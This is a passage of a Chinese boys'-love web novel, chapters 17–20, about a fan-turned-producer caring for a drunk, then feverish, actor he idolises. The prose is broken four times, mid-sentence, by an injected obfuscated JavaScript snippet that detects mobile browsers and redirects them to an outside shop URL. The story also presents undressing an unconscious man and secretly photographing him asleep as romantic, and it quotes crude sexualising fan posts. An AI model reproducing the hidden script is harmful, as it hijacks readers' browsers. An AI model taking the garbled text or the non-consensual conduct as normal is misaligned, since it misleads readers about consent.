他忍不住用掌腹去揉那块红印,想着把它揉散,结果没两下,那印越来越大,像是被人打了几拳,触目惊心。 这是他没想到的,难道他铁撸太多手糙到这个地步了?实在没办法,他打算下楼去药店买跌打损伤的药,但又怕弄脏木哀梨的衣服,在屋内转了一圈,找到衣帽架上的睡袍,闭着眼睛给木哀梨脱衣服,那感觉真像是捏着一块又滑又香的牛奶皂。 从来没想过有朝一日能触碰到木哀梨的肌肤,哪怕是同校的那段时间,他也只是远远看着木哀梨被三五人围着,没有半步停顿地路过他。 而如今,他手下的每一寸肌肤都无遮无拦向他袒露,那样的……亲密,光是想着,周新水便快要精神高潮。 最后慌乱地把人一裹,塞进被子里,小声说:“你先睡,我去给你买药。” 有一种把人不良青年把人哄上床不戴套事后还买避孕药让人吃的渣感。 他就近买了瓶气雾剂,在床边站了好一阵,才揭开木哀梨的黑色睡袍. 那白皙皮肤上的印子已经淡了不少,但中间那块还很明显。他看着,视线不自觉扩散开。木哀梨瘦,整个人薄薄一片,腰也一样,还白,那点印子因他白得过分的肤色而显得格外凄惨。 周新水单膝跪在床边,虔诚地按下喷头,木哀梨忽地抖了两下,跟雨打的梨花枝一样。 周新水眨了眨眼,简直难以相信自己刚才看到的。 是……喷雾太冷了吧。 他把瓶子转过来看使用说明,没说能喷在手上搓热了再抹上去,不敢贸然尝试,担心破坏药效。最后一鼓作气,接连按了两下喷头。 一层均匀的水雾蒙在木哀梨腰腹上,周新水特意帮他压着睡袍,免得打湿。 考虑到天气冷,长时间露肚脐会感冒,周新水低头吹了吹。 结果木哀梨又抖了一下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123051|195988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周新水浑身都有些发烫,转过头去,帮他把睡袍合拢。 他刚才给木哀梨脱了衣服和裤子,但牛仔裤的绑带给他的震撼太超过,忘了给木哀梨脱袜子,现在想起来,找补似的跪在床尾,仔细脱袜。 木哀梨穿的是黑色薄袜,材质有些透,像是丝袜,没有异味,周新水去接热水,顺手把袜子搓了挂在浴室。 没有化妆,纯天生丽质,周新水仔仔细细看过了,一点人造的痕迹都没有,他也就没找前台要卸妆水,只是用毛巾轻轻擦拭了一下木哀梨的脸蛋。 他用小盆接的热水,怕木哀梨只穿了一件睡袍太冷,就用被子裹着他,把人放在床头边上坐着,自己蹲下去给人洗脚。 水温刚刚好,周新水没有伺候人的经验,但也没把人冷醒或者烫醒,他自觉在这方面还是有一些天分。 除了刚才一时情急把木哀梨抗在肩上给人家顶出个红印来。 天气冷,一盆热水没洗一会就显凉,周新水赶紧给木哀梨擦了脚,把人放平。 结果刚把木哀梨放下去,他手还在木哀梨身上,不知道怎么回事,木哀梨眉头蹙起,嘴里不舒服地嗯着。 周新水不解地左右看。 他瞅瞅木哀梨的脸,又瞅瞅木哀梨被裹成一条的身子,没看见哪儿有问题,直到他抬手挠头,才看到刚才自己手底下摁着木哀梨的头发。 哈哈,真是不好意思啊。 第一次这么亲密地接触一个长头发的……男生。 一时间有点没反应过来。 他下床拜了又拜,表达自己的歉意。 临走前,周新水打开空调暖气,还写了自己的电话号码压在床头。 他本来想写微信号,但是下笔前想起自己微信号是“iLi1314”,实在太明显,只能留了电话号码,然后迂回地表示可以用这个号码加他微信。 走到门口,又倒回卧室,守在门边说了一堆“别人给的东西不要随便吃随便喝,实在想就自己要,对方还来不及下药”“冬天了多穿一点,你那一身衣服薄得跟没穿一样”“别光买贵的,那些奢侈品我研究过了,好多都是用的塑料,不保暖”诸如此类的话。 说到口干舌燥,回顾了一下,没有漏的,才真的离开。 门落锁的声音响起,卧室内的男人睁开了眼。 木哀梨挣了两下。 刚离开的那个人把他裹得严严实实,被子两边还压在他背下,以至于他不得不左右扭,从毛毛虫似的被子里解脱出来,冒了一头的汗。 带着不爽,木哀梨摸出手机。 木哀梨:你输了。 奥凯西:Are you fuking serious?! 奥凯西:The way he looks at you tells me you''re definitely lying. 木哀梨:我要Desire明年九月刊封面。 把手机丢回床头,木哀梨才看见那张压在夜光灯下面的纸条,他抽出来看了两眼,字写得还不错,随手又丢了回去。 18. 第 18 章 陌生人短信:没有衣服 问昨天的衣服不能穿吗就太过愚蠢了,难得的机会可以正大光明地和木哀梨见面,他绝不会错过。 于是就这样喜气洋洋地开车出门,到顿新酒店附近的商场,找了家木哀梨代言的奢侈品牌子,买了一身现货衣服,最后还找店员要了一双白色纯棉袜子。 买完他才想起来自己“应该”是不知道木哀梨尺码的,于是发过去短信,问:“您穿多大码?” 事实上,木哀梨的身高、三围甚至鞋码早就被推算出来,周新水牢记,他买的衣服木哀梨绝对穿着正合适,也没等木哀梨回信息,直接往顿新去。 走到半路,张总微信问他:“你翘班了?” 周新水:没,跟投资商吃饭。 张总:哪个投资商大早上请吃饭。 周新水:世界之大,张总你懂的。 昨天才在前台那露了脸,显然前台还没忘记,见他大早上过来,朝他微妙一笑。 前台笑得他一头雾水,但心里记挂着木哀梨,什么也没问,只管上楼,敲了两下门,木哀梨便打开门。 门口背光,看得不甚清晰。 木哀梨应该是刚才浴室出来,脸上挂了些水珠,身上穿的还是那条睡袍,脚光着,没穿鞋也没穿袜子,周新水不自觉皱起眉头。 木哀梨侧身让他进去,等他走到客厅,把衣服放在椅子上,木哀梨在他身后问:“我能穿吗?” 周新水:“当然能,我问了你码数。” 木哀梨:“是吗,我没看见信息。” “……”周新水缓缓“啊”了一声。 “可能,也许是……”他怎么也想不到木哀梨会不回消息,“或许是消息发错人了?你要不先看看能不能穿,万一运气好,碰巧你俩身形一样呢?” 木哀梨也没追究,抽出一条椅子坐下,把头搁在手上,似乎不是很舒服。 “嗯,没什么事你就先走,麻烦了。” 周新水试着后退两步,假意要离开,木哀梨毫无反应,他又自己走了回来,问:“你是不是不舒服?” 木哀梨从手中抬起头,他这才看见他脸上泛着两片酡红。 如果说是酒劲还没退,那也太夸张,没见什么酒有这样的威力,只是喝了几口,睡一晚还脸红。 目光落在木哀梨半敞的胸口上,他问:“是不是感冒了?” “我摸摸你额头,成吗?” 木哀梨警告他不要随便碰一个gay的脸的话他还记着,这次特意先问。 木哀梨轻轻点了下头,周新水的手便贴了上去。 滚烫,快要烧起来了。 “你发烧了。”周新水拎起衣服袋子,放到他面前,“你换上衣服,我带你去医院。” 木哀梨体质差,烧这么严重,多耽误一会就多一分风险。 木哀梨却坐着,纹丝未动,周新水喊他名字,他也只是往后一倒,脑袋有气无力地挂在椅背上,头发缠缠绵绵地堆在肩上。 周新水下意识上手去扶他,就听木哀梨低着声音:“没力气。” 因为先心病,木哀梨总是看起来不大健康,周身缠着黑雾一般的病气,但那种病气并不会进入他的眼睛,那双黑色桃花眼多情如流水,闪着微弱而勾人的光,而现在,那光也暗淡下去,木哀梨整个人都萎靡起来。 “那……我帮你换衣服?我闭着眼睛,行吗?” 木哀梨没点头,只合了合眼皮,周新水读懂他的意思,把人抱到卧室床上,像昨天脱他衣服一样帮他再穿上。 他刚把木哀梨放到床上,木哀梨就瘫了下去。他解开睡袍带子,却没法把压在身下的睡袍抽出来,试图扶木哀梨坐起来,结果木哀梨整个人软绵绵的一点力气也没有,自己稍稍使劲,木哀梨便趴进了他胸口。 周新水许久不敢动。 像一只柔软的小猫,趴在他怀里。要不是怕木哀梨再受凉加重感冒,他真的会维持这个姿势一天一夜。 缓过劲来好好穿衣服,他左手扶着木哀梨后背,似乎能感受到腰窝的存在,网上说这是瘦出来的。 木哀梨一点力气也没有,周新水不停调整他的姿势,那挺翘的鼻尖和冰冷的唇不停在他胸口和肩膀上蹭来蹭去,都快给他蹭起来了。 等他好不容易给木哀梨穿好秋裤,伸手去拿外裤时,木哀梨突然睁眼,问:“这是什么?” 周新水一愣,木哀梨声音又变得病溻溻的,“这是什么?” “秋裤啊。” “……”木哀梨沉默了一会,“不。” “不行啊,你都感冒了,再不穿秋裤,冷出毛病了怎么办?你说你也真是的,这降温好多天了,前天还报道寒流过境,也不知道多穿两件,要风度不要温度。” 周新水没同意,反正木哀梨病着,穿衣服的力气都没有,难道还能把秋裤脱了?木哀梨时尚,前卫,穿的衣服不是缺胳膊就是挖大洞,但现在又不用走红毯,当然是保暖最重要。 他只管再套上外裤,然后就蹲下去给木哀梨穿袜子,刚把新袜子上的线拆了,又听木哀梨问:“这是什么……” 木哀梨竟然烧得连袜子都不认识了,周新水解释,“袜子,新的,刚拆。” “土。” “不土,纯棉的,好穿。” 说话这会儿功夫,周新水已经给他穿好袜子。 他把木哀梨抱到门口换鞋柜上坐着,又给木哀梨换了鞋。 他对自己的杰作很满意,但木哀梨盯着自己的尖头切尔西靴和白色纯棉波浪边长袜,深吸一口气,两眼一闭晕了过去。 他赶忙把人接住,怕木哀梨一头栽在地上。 看来是烧得太严重,已经扛不住了,周新水抱起人就跑。 路过前台,有人喊住他,周新水一个紧急刹车,等着前台说话。他以为前台有什么事,结果前台问:“你在这儿过夜了?” 没等他回答,另一个看着他上去的前台便撞了撞对方的胳膊,“没,早上才来的。” “我还以为木先生留他过夜了……没见过呢。” 以后没营养的话少说。 周新水闷头往车库去。 他把人载到之前木哀梨带他去的那家医院,刚要挂急诊,就有护士走过来,看看木哀梨的脸,“发烧?” “对。” “跟我来。” 护士把他们带到VIP病房,他什么也没说,就有护士进进出出,给木哀梨检查了情况,打上吊水。 “吹风了还是洗冷水澡了,烧得这么急。”医生写着病历本。 医生不提他还没想起来,现在想想,昨晚上没关的窗户恐怕才是这一场发烧的罪魁祸首。 他想着给木哀梨透透气,打开窗户,后来车内的气息太明显,他也没好意思关。他皮糙肉厚,吹吹风问题不大,木哀梨身体那么差,穿得又少,那啥的时候说不定还脱了衣服,这一吹风,果不其然感冒了。 “是我没注意。” “他新男友?” 余光里,木哀梨仍熟睡着,周新水张了张口,却还是没有说话,医生从病历本里抬起头来看他,他才叹气说:“不是。” 医生挑眉,没说什么,走了。 周新水悄然坐在病床边上,病房有椅子,但这里离木哀梨最近。 木哀梨分手的消息似乎刚刚才传出来,实际上也不过两个月,离以往的半年一茬还差着好几个月,按理说不该这么快进入新关系。 但木哀梨和奥凯西站在酒店门口的场景又是他亲眼所见。 唯一值得欣慰的是,前台透露出来,木哀梨从来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123052|195988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不让男人在他房间过夜,勉强算有点安全意识。 不过,再怎么样,也还是…… 周新水打开微博,把复制的文案改了改。 啃口梨:我女儿娇生惯养白富美刚成年就倒贴了一个又一个凑男,一个又一个湖笔,我一直在哭。 -我女儿一闻到男人味就偷偷夹腿,我一直在哭。 -我女儿比三级片演员经验还丰富,我一直在哭。 -我女儿都熟了! 一想到自己嫉妒得都快疯了还要装作轻松地玩梗,更觉得自己简直是个傻逼。 早先周新水并不理解这种冒犯的行为,觉得恶俗,经常发文控诉,要求禁止开木哀梨黄腔,结果被同担科普这叫嬷。 他不理解,但类似的言论总是有很高的流量和互动,经常上广场,路人也爱看,安利效果比他主页那些一本正经的文案和彩虹屁有用得多。 秉持着打不过就加入的心态,周新水勤勤恳恳学习所谓的网感,终于把其他大粉都干掉,成了木哀梨同担喜闻乐见的粉头。 到今天,他仍然不喜欢别人口头骚扰木哀梨,只不过他查主页发现发这些言论的人大多是女生,天天喊着想入,但其实根本没有道具,纯口嗨,心里那股不适才稍稍减缓。 张总打了一个又一个电话,他挂了一个又一个。 木哀梨休息呢,别吵。 他没给木哀梨的亲人朋友打电话,联系他们来照顾木哀梨。 求之不得的机会,不可能拱手送人。 木哀梨睡着的姿态很漂亮,平和地躺着,脑袋微微陷进柔软的白枕头,一头长发海藻一样铺开。 想抱他,想把他塞进自己怀里,想把他圈起来,和自己紧紧贴合,好想…… 可是他不能。 他只能恪守本分,老老实实坐在边上,用他不太老实的目光一寸寸舔过木哀梨清丽绝伦的脸。 相机实在是伟大的发明,眼睛记录不下来的画面,手机可以。 周新水拍了左边不满足又转到右边,最后检查相册,发现自己竟然按了一百多次快门,有些照片几乎没有区别,但他左看右看,总觉得是不一样的,那种微妙的感觉,难以言喻,他说不清,反正最后一张也没删。 这些照片他肯定不能发在大号。 当然,小号也不能发。 至少露脸的不能发。 但不发出去,那种区别于其他粉丝、自己能跟木哀梨在一个房间待着的优越感难以抒发,让人浑身难受。 他用相机自带的剪裁功能,剪了个露了木哀梨一只耳朵和一些头发的角落出来。 鲜榨棠梨:开心。 [照片] 小号主页因为这种照片变得高级起来,他反复品味。 正笑着,又听见手机铃声,不是张总给他打的,他手机没动静,是木哀梨的手机在响。 出门前他帮木哀梨把手机插进浅浅窄窄的上衣兜里。 那些奢侈品牌子,讲究版型,时尚,结果连一个能揣手机的兜都不给做,扣门。 周新水拿出手机,屏幕上是“妖精”的备注,多半是宁九,如果挂断,这妖精事后指定告状,只能没好气地接通。 他还没说话,那边就传来宁九咋咋呼呼的声音:“怎么样怎么样?感觉怎么样?” 原来木哀梨跟奥凯西的事宁九也知道。 他知道还不劝劝木哀梨? 周新水声音硬挺挺的:“他在休息。” “……周新水?” 周新水:“是我,你以为是谁?没事就挂了,等他醒了我让他给你回电话。” “不了不了。”宁九抢先挂了电话。 电话挂断后返回桌面,是自带的原始壁纸,挺好看,他心一动,把自己手机的壁纸也改成这个。 19. 第 19 章 张总要急疯了,某个制片拉的投资太难缠,非要灌酒,那个制片又是个女性,求助到张总头上,但张总酒精过敏,滴酒不沾,公司里能千杯不倒的也就只有周新水,结果周新水又不见踪影。 等周新水赶到包厢,张总如释重负地按着他的肩膀,把甲方一一介绍给他,然后指着谭子濯说:“这小子没正经应酬过,你带着他溜溜。” 周新水酒量好,小时候在老家,天天偷喝甜滋滋的甜酒,慢慢地连高粱酒也不放过,奶奶抓到他时,他微醺着喊:“什么酒?我以为甜水!” 他本科毕业能走到今天,跟他的酒量密不可分,当时还没跳槽,作为张总的下属,就经常帮张总挡酒,加上能力够,很快就得到张总信任。虽然一路走来哪个流程都没少,但他的晋升速度放在业内绝对是多数人望尘莫及的。 投资方看换了人,自然不会放过,灌了他半个小时酒,发现他脸都没红,立马欣赏得不行,问:“小周怎么不负责这个项目?有你这样的制作人,我早投了。” 周新水爽朗一笑,口齿清晰:“这个项目好啊,回报率多高,哪用得着我出手,你们看这个本子,看这个班底,就知道挣不挣钱。” 喝到最后几个投资方的人脸透红,说话都结巴,一个说不喝了,回去要挨老婆训。 周新水立马起劲,端着酒杯,“应酬喝酒还要挨训?你这妻管严不行啊,我爱人就从来不会插手我的工作……” 投资方两眼发光,让他传授经验。 酒局对周新水来说不是什么事,游刃有余地应对,顺利拿下这一笔投资,在女制片人感激涕零的目光下,把烂醉的谭子濯拎上车,等代驾开车。 谭子濯像是第一次喝酒,没几杯就趴下,趴了一整个酒局,现在还没清醒,只知道自己在他周哥手里,迷迷糊糊道:“周哥你真厉害,等我混到你这个地步,我一定要去见我女神……” “你女神是谁?” “我女神是天底下最漂亮的人,是黑长直高贵冷艳学姐……我不告诉你。” 周新水:“……” 我是gay,我不抢你女神。 不过他要是有谭子濯这样的胆量,也不至于一直不敢给木哀梨递剧目邀请了。 谭子濯家境不差,怎么还要混到他“这个地步”?周新水问。 谭子濯捂着脸,哭:“我女神又不缺钱!” 唉! 司机问去哪,周新水拍了拍谭子濯的脸,让他报地址。 “先送他回家,然后载我去医院。” “哥,你病了啊?” “我没病,你嫂子病了。” 谭子濯一个激灵,眼神清明了许多,“嫂子咋了?” “昨晚上送他回家,开了车窗,一吹风,今天就感冒发烧了,在医院打着吊水呢。” “送嫂子回家,你俩分居了?”谭子濯人醉了,八卦的心还很清醒。 “……”周新水默了两秒,缓缓转动眼珠斜睨着他,“回娘家,我们情比金坚,天塌了都不会分,你别瞎猜瞎咒我。” 谭子濯:“你们之前那事儿解决了?” 网上闹得沸沸扬扬,翟开诚跟木哀梨彻底没了可能,算起来“那事”也的确是解决了。 “是啊,你嫂子态度可好了,说这辈子非我不可,还主动往我怀里钻,又娇气又软……” 酒劲这会才上脸,脖颈和脸都烫起来。 谭子濯肉麻地噫了一声,“那,我去探望下嫂子?人家生病,我姑父还把你叫出来应酬,真不是人。” “张总是你姑父?” “对啊。”谭子濯自然地点头,在周新水的注视下,噌地坐直起来,“我不去探望嫂子了,我要回家。” 周新水笑:“你不说我也猜得到大概。” 谭子濯不好意思地笑笑,“为了我女神,我才找我姑父来实习的,等我也能接制作,我要给女神量身定制剧本,都说我女神是资源咖,我还真就要把它坐实了。” 还挺巧,木哀梨前些年也一直被诟病资源咖,暗示木哀梨有不正当关系。 周新水对这类传闻嗤之以鼻,木哀梨家里有钱,不说交给职业经理人打理的木家旅游业资产,单就是他京市的舅舅,也是富豪榜上有名的存在,谁敢潜他? 更何况据他所知,木哀梨在电影圈也并非一帆风顺,他吃那么多苦,因为靠着得天独厚的长相和与生俱来的文艺气息接连演了几部大制作,就被冠上资源咖的名号。 柯图看好他,愿意请他演,别的导演欣赏他,就要他演,还是木哀梨的错了? 真想把这些胡说八道的下家粉嘴巴缝上,木哀梨指缝里漏出的资源也够他们吃成胖子,怎么没见他们感谢木哀梨。 回到医院时,木哀梨已经醒了,他靠在床头,脸色苍白,睫毛下垂,唇毫无血色,看起来可怜极了。 周新水轻声说:“护工说你不想吃饭?我给你带了碗鲜虾粥,还有瓶椰子水。” 这还是他收到护工消息,临时拐到一家有名的私房菜,打包的粥。 木哀梨微微抬眸,旋即扭开头:“一股酒气,臭。” 周新水闻了闻自己的衣领,“是有点,不介意我待会借用浴室洗个澡吧?” “把我撂在医院,自己出去花天酒地。”木哀梨没理他的问题,语气平淡。 莫名有一点……很奇怪的感觉,他心里竟然有一点甜。 “老板叫我救场,才喝了点酒。正常应酬,绝不是花天酒地,大中午的,谁会白日宣淫?” 木哀梨抬眸,“你今天要上班?” “我请假了。”周新水面不改色。 木哀梨:“请假了还叫你回去。” 周新水:“公司里姑娘多,男生里能喝酒的也就我一个,哪用得上往哪搬。” “那你还不把老板开了。” 木哀梨轻飘飘道。 “……” 木哀梨说得好,等他挣个几千万,一定把老板开了。 但现在还没挣到,把老板开了,谁给他开工资,他拿什么去冲木哀梨的商务,去搜集木哀梨的周边,去坐实木哀梨资源咖的风言风语。 宁九有句话说的没错,跟你们有钱人说不通。 木哀梨虚虚笑了下,笑意很淡,但周新水目不转睛盯着他,自然也捕捉到了,明白木哀梨这是在打趣自己,也没多纠结,把粥打开,摸着碗底感受下了温度,“差不多能入口,吃吧,不然待会就凉了。” 木哀梨没伸手,只是看着床边的吊瓶,周新水看见他手上的针还没取,“那,我去叫护士来给你把针拔了?” 木哀梨不知为何没说话,半晌,“万一待会还要吊别的。” 周新水心想也是,“我喂你?” 木哀梨抬了抬下巴,表示准了。 木哀梨唇薄,唇色淡,应该是贫血的缘故,吃粥的时候染上一点水,让他看起来像是涂了亮晶晶的唇釉。 周新水一时走神,回过神来发现木哀梨蹙起眉,不满地凝视着他。 他赶忙把塞进去没拿出来的勺子拔出来,木哀梨才移开目光,抿着唇把软烂的粥咽下去。 “早上宁九给你打电话了,你看见通话记录了吗?” 木哀梨咬住勺子,声音含糊:“他说什么?” “没说什么,就问了我是谁。” “不用管他。” 木哀梨没吃多少,就扭头不想吃了,可能是饿久了,过了劲头,周新水也不强求,把碗放下,看见木哀梨唇角挂着一粒米,伸手帮他擦掉,一边抽纸巾,一边顺手把那粒米含进嘴里。 “你生病了他都不关心关心你,这算什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123053|195988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么朋友,就知道带着你去喝酒泡吧……”他话没说完,见木哀梨盯着自己看,“怎么了?” 木哀梨眼神有些微妙,看得周新水心里毛毛的。 他问:“你跟宁九说了我在医院?” “没。” 照顾病人这么好接触木哀梨的机会他自然只会攥在自己手里。 木哀梨轻轻勾唇,周新水瞬间清醒,想上眼药结果把自己干的好事抖搂出来了。 木哀梨也不知道生气没,反正是出声轻笑了一下,就让周新水把手机给他。 周新水把手机给他,木哀梨解锁,却提示人脸识别错误,他翻转手机看了又看,拧眉:“你把密码改了?” “怎么会。”周新水拿过手机,一扫脸就打开了,重新递给木哀梨,木哀梨不虞地点开微信,半晌没有动静,最后像是无可奈何地笑了一下,把手机丢给周新水,“我说,我的手机。” “……”周新水默默把床头柜上另一支手机递给木哀梨。 木哀梨划动着屏幕,“今天麻烦你了,你回去吧,辛苦费我让万姐给你。” 辛苦费是不可能要的,他心甘情愿,甘之如饴,无怨无悔,乐此不疲,要是收辛苦费,岂不是成了护工。 但直说又不免让人怀疑他到底要的是什么,只能含糊略过这个话题。 “我不回去,我照顾你,你病了不能没有人照顾。” “我会联系人来。” “那也太麻烦了,我就在医院,现成的,不用白不用。” “不麻烦。” 周新水表情严肃:“木先生,请你给我一个将功补过的机会,如果不是我昨晚上打开窗户,你就不会受凉,最后发烧进医院,要是不能弥补我的过错,我会难受一辈子的。” 木哀梨打电话的手顿住,“就这么想照顾我?” “我不是那种肇事逃逸的人。” 木哀梨扬眉笑了一下,按下了拨号键,周新水攥紧拳:“真不行吗?” “我明天有活动。”木哀梨伸出一根手指,抵在周新水额头上,轻轻一推,“你想让我裸着上台?” “不是那个意思。” “喂,万姐,明天线下活动的衣服送医院来,嗯,发烧了,不是什么大事,” 木哀梨三两句交代完,把周新水推开,“洗澡去,臭死了。” 言下之意,应该是恩许他留下了照顾木哀梨了。 明明是嫌弃的话,也让他心窝一暖。他晕头转向地在病房里走来走去,正要脱衣服,突然意识到自己没有换的衣服。 “木先生,我能穿你多的病号服吗?” 木哀梨没有答应,他上下打量周新水,那目光仿佛有实体,让周新水不自觉绷起肌肉。 “均码,你穿得下?” 周新水个子高,肩膀宽,能把木哀梨整个人罩住,常规的尺码根本穿不下。 “去洗,我叫护士送一身大号的来。” 木哀梨朝浴室抬了抬下巴。 周新水信任地照做。 病房浴室大小快赶上他租的卧室,被热水烘得暖洋洋的,热气氤氲。 他很快洗完,没听到木哀梨叫他,只能自己敲了敲浴室门。 “木先生,衣服拿过来了吗?” “开门。”木哀梨的声音就在门口。 开门岂不是要看见他裸体了,周新水:“木先生,你把衣服放门口吧。” “都是男人,你怕什么?” 木哀梨似乎不满。 成天我女我女的喊,这会儿听这话真有些转不过来。 “但是,你是gay啊。” 上次木哀梨还让他不要随便碰一个gay的脸。 “我是gay,但你不是啊。” 隔着一道门,木哀梨的声音有些悠远。 20. 第 20 章 “……” 周新水沉默下来,他总不能跳出来说我也是gay吧。 虽然他是,但这时候说……有种,暗示的感觉。 安静了十几秒,他才把门打开一条缝,贴着门伸出手臂,却没在门外摸到东西。 稍不留神,浴室门就被推开了。 氤氲的白雾朝外面涌去,木哀梨的脸朦胧不清,但周新水总觉得木哀梨正在看他。 虽然他对自己的身材很自信,可是。 “木、木先生,这……” 木哀梨把病号服丢到他身上,目不斜视走进来,拿他用过的毛巾沾了沾水,拧干后擦脸。 “脸不舒服,洗洗。艺人的脸很重要的,你不会介意吧?” 木哀梨的淡定让他怀疑自己大题小作,他捂着鸟,就差大喊我也是gay了,全身心力都用在遮掩,说话直磕绊:“不、不介意吧。” 在他的猜测中,模子店的鸭就是这样,脱了个干净等顾客挑选。 木哀梨慢吞吞地擦了脸,又洗了手,最后凑到镜子边,擦掉雾气,仔仔细细看了看自己的脸,走时路过周新水,讶异地问:“你怎么不穿?” “……” 木哀梨又毫不在意地说:“你不会是害羞吧?昨晚上你把我都看光了,我也没说什么。” 周新水强撑着笑笑,木哀梨终于啊了一声,念着“好吧好吧”,悠悠离开了浴室。 门合上的声音悦耳至极,他整个人如释重负,安心地往地上一蹲,正要大喘气,突然又听见门打开,他连忙并拢腿,拿衣服挡住鸟。 “怎么了,木先生。” “忘了跟你说,没有内裤,你洗完可以去医院的洗衣服,有烘干机。” 木哀梨淡淡一笑。 周新水:“这话真的不能等我出去再说吗?” 木哀梨恍然大悟般:“对哦,那你慢慢穿。”又把门关上。 这回周新水学乖了,等门一关上,他就把门反锁,确保木哀梨打不开门,才捂着自己砰砰直跳的心脏,换了好一阵,还是觉得那股劲下不去,干脆接了一洗手池的冷水,把脸埋进去,冰了好几分钟,才抬起头,草草甩了几下头把头发甩干,再穿衣服。 本来木哀梨不提内裤这事,周新水还能心安理得地挂空挡,但木哀梨一说,他想到自己待会走出去,木哀梨看他就知道他没穿内裤,莫名就没有勇气了。 他做了好久的心理准备,一出去,就拎着自己脱下来的衣服,撂下一句“我去洗衣服”,赶紧溜了。 洗衣服里有椅子,他把衣服丢到洗衣机,就在旁边坐下,不敢回病房。至少要等他有内裤穿了才敢回。 听着洗衣机转动的声音,周新水怎么也安静不下来。 一颗心七上八下。 木哀梨之前还让他别碰,现在,这是什么意思啊? 椅子都快要兜不住砰砰乱跳的心,他慢慢地挪到墙角,窝进去。 好暧昧啊。 周新水脸烫得能煎蛋,他搓搓自己脸,想让它别那么烫,结果越搓越烫。 要说木哀梨是看上他了,他还没有那么自信,稍微有点自知之明,都知道这是异想天开。 可能性更大的无非是木哀梨风流惯了,见谁都没边界感。但这个猜测远不如上一个让他高兴,思来想去没个定论,就忍不住往自己期待已久的方向想,最后越想越振奋,没忍住打开小红书。 用户83hsi8wha9:朋友是gay,但是在我洗澡的时候闯进我的浴室,用洗手台,完全不顾我还裸着,好不容易等他走了,我还没喘口气,他又打开门跟我说话,明明可以等我穿好衣服再说,但他就不,这是什么情况啊?#求助#感情#暧昧 -你是男的? 用户83hsi8wha9:对。 -把你当哥们了吧。 用户83hsi8wha9:可是他是gay。 -直男别一天到晚觉得gay会看上你,少普信了。 用户83hsi8wha9:我不是直男。 -? -? -? -细说。 用户83hsi8wha9:说什么? -说说你俩的具体情况,让我仔细听听。 用户83hsi8wha9:好吧。我朋友是个长得很漂亮的男生,男生女相那种,艳丽挂的,很白,是我见过最白的人,我的话长得一般,身材还可以,就这样,说多了容易掉马。 -有多漂亮,让我看看。 用户83hsi8wha9:这是他的隐私。 -身材有多可以,让我看看。 用户83hsi8wha9:我经常健身,身高192,肩宽54,胸围118。 -你胸咋比我女的还大! -我要扣问号了。 -编的吧,没见过,除非让我看看。 用户83hsi8wha9:没有骗人。 -我允许你们谈!谈上了记得给个X号,我随份子钱[流口水] 用户83hsi8wha9:谢谢!但是我不当网黄。 -都不说是吧,那我说,他在钓你! -你俩有戏! 用户83hsi8wha9:你们别这样,我们真的是朋友。 -姐妹们别陪聊了,这人纯秀,看他带的标签。 用户83hsi8wha9:我是真的求助。 虽然最后也没有得到结果,但周新水已经心满意足。看吧,随便谁听到这个情况,都觉得他俩有戏。 有戏。 管他真的假的,他听了舒心,就是真的。 衣服烘干后,周新水赶紧抱着衣服进了浴室,穿上内裤感觉安全多了,才推门而出。 木哀梨在跟朋友打电话,周新水出来时,正好听到木哀梨说:“挺有意思,傻里傻气的。” “什么东西有意思啊?”周新水心里醋醋的,怎么还有能东西让木哀梨评价挺有意思呢。 “说狗呢。” 周新水哈哈两声,“你养狗了?我好像没听说过。” “嗯,在家里。” “我挺喜欢狗的。”周新水暗示。 这话有点太直白了。 他忽然觉得这烘干的内裤有点紧,烘干机给他好不容易穿熟的内裤烤缩了。 木哀梨:“看得出来。” 周新水摸不着头脑,从哪看出来。 他思索着,听见木哀梨咳嗽了两声,眉毛皱起,薄薄的身板颤着,“你还好吗?我叫护士来。” 木哀梨摇头:“不用,医生说今晚上没再发烧就没事,明天就能出院。” “那我去给你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123054|195988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒点水?” 木哀梨点头。 